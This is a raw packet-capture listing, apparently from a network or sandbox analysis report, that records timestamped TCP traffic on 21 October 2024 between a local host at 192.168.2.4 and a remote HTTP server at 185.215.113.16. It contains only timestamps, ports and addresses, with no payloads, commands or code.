Oct 21, 2024 10:46:25.164400101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164412022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164422035 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164428949 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164433002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164444923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164450884 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164455891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164467096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164477110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164479017 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164489031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164489031 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164501905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164514065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164520025 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164531946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164541960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164552927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164561033 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164563894 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164576054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164585114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164587021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164598942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164609909 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164616108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164623976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164634943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164638996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164645910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164659023 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164660931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164675951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164686918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164688110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164699078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164710999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164710999 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164721966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164733887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164737940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164745092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164757967 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164760113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164772034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164783001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164783955 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164793015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164803028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164813042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164818048 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164833069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164844990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164849043 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164855003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164864063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164865971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164877892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164892912 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164897919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164911032 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164917946 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164921045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164932013 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164932966 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164942980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164953947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164963007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164963961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164972067 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164977074 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164988995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164999008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165005922 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165009975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165015936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165021896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165033102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165052891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165055990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165065050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165071964 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165076017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165087938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165098906 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165098906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165117025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165123940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165129900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165143967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165154934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165154934 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165167093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165178061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165179014 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165189028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165200949 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165201902 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165211916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165222883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165234089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165236950 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165245056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165258884 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165261984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165270090 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165273905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165285110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165297031 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165297985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165309906 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165321112 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165322065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165333986 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165344954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165354013 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165357113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165369034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165379047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165379047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165390015 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165391922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165402889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165416956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165419102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165431976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165440083 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165441990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165456057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165462971 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165467978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165479898 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165491104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165503025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165505886 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165514946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165525913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165529013 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165537119 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165538073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165549040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165563107 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165568113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165585995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165585995 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165596962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165608883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165617943 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165621042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165632963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165642977 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165643930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165656090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165666103 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165668011 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165680885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165689945 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165693045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165704966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165714979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165730000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165730000 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165751934 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165752888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165771961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165781021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165781975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165795088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165806055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165817022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165823936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165827990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165838957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165848970 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165859938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165869951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165875912 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165875912 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165880919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165893078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165904045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165908098 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165913105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165925026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165935993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165939093 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165946960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165947914 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165960073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165963888 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.165970087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165982008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.165993929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166003942 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166007996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166023970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166033030 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166034937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166043997 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166048050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166059971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166069984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166076899 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166080952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166093111 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166100025 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166104078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166116953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166122913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166126966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166136980 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166140079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166153908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166168928 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166181087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166193008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166201115 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166202068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166213036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166223049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166233063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166239023 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166244030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166255951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166265011 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166268110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166280031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166289091 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166290045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166304111 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166313887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166323900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166331053 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166333914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166344881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166356087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166357040 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166367054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166368961 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166378021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166388988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166390896 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166402102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166402102 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166412115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166421890 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166433096 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166433096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166450024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166460991 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166461945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.166470051 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.166496038 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.195878983 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.203463078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.203474998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.203485966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.203505039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.203514099 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.203526020 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.203541040 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.244458914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.244473934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.244515896 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.255465984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.255479097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.255489111 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.255518913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.279856920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.279910088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.279938936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.279943943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280005932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280016899 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280049086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280097008 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280109882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280148983 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280160904 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280189991 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280215979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280236959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280249119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280258894 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280272961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280278921 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280291080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280303955 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280313969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280361891 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280361891 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280455112 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280466080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280505896 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280596972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280646086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280689001 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280694008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280704975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280741930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280775070 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280786991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280797005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280818939 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280847073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280859947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280870914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280883074 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280900002 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280921936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.280976057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280987978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.280999899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281009912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281021118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281022072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.281043053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281048059 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.281055927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281065941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281075954 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.281080008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281091928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281101942 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.281102896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281115055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281126976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281130075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.281138897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281147003 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.281152010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.281166077 CEST	49745	80	192.168.2.4	185.215.113.16
